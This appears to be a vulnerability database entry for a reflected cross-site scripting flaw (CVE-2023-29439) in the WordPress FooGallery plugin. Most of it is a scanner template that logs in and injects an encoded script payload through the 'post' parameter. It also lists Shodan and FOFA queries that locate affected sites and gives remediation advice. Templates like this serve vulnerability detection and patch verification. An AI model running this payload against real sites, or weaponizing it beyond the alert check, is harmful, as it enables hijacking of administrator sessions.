CVE-2023-29439: FooGallery plugin <= 2.2.35 - Cross-Site Scripting

2025-08-01 FooGallery PoC Public

Description

Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.

PoC

id: CVE-2023-29439

info:
  name: FooGallery plugin <= 2.2.35 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) vulnerability in FooPlugins FooGallery plugin <= 2.2.35 versions.
  impact: |
    Authenticated attackers can inject malicious JavaScript code through the post parameter, potentially stealing admin session tokens or performing unauthorized actions as administrators.
  remediation: |
    Upgrade to FooGallery version 2.2.36 or later.
  reference:
    - https://lourcode.kr/posts/CVE-2023-29439-Analysis?_s_id=cve
    - https://wordpress.org/plugins/foogallery/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29439
    - https://patchstack.com/database/vulnerability/foogallery/wordpress-foogallery-plugin-2-2-35-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29439
    cwe-id: CWE-79
    epss-score: 0.01747
    epss-percentile: 0.76669
    cpe: cpe:2.3:a:fooplugins:foogallery:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 2
    vendor: fooplugins
    product: foogallery
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/foogallery/
    fofa-query: body=/wp-content/plugins/foogallery/
    publicwww-query: "/wp-content/plugins/foogallery/"
  tags: cve,cve2023,xss,wordpress,wp-plugin,wp,foogallery,authenticated,fooplugins,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/post-new.php?post_type=foogallery&post=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'data-gallery_id="\"><script>alert(document.domain)</script>"'
          - 'foogallery-image-edit-modal'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402204fd187c68a7f24a3fd5419596e84a4da14a9353c54142d20968ed264ca3f427e02204dbd49e8044f24c477da611dedc3ac242cb3c6e6b109152862a8c802b62445e9:922c64590222798bb761d5b6d8e72950

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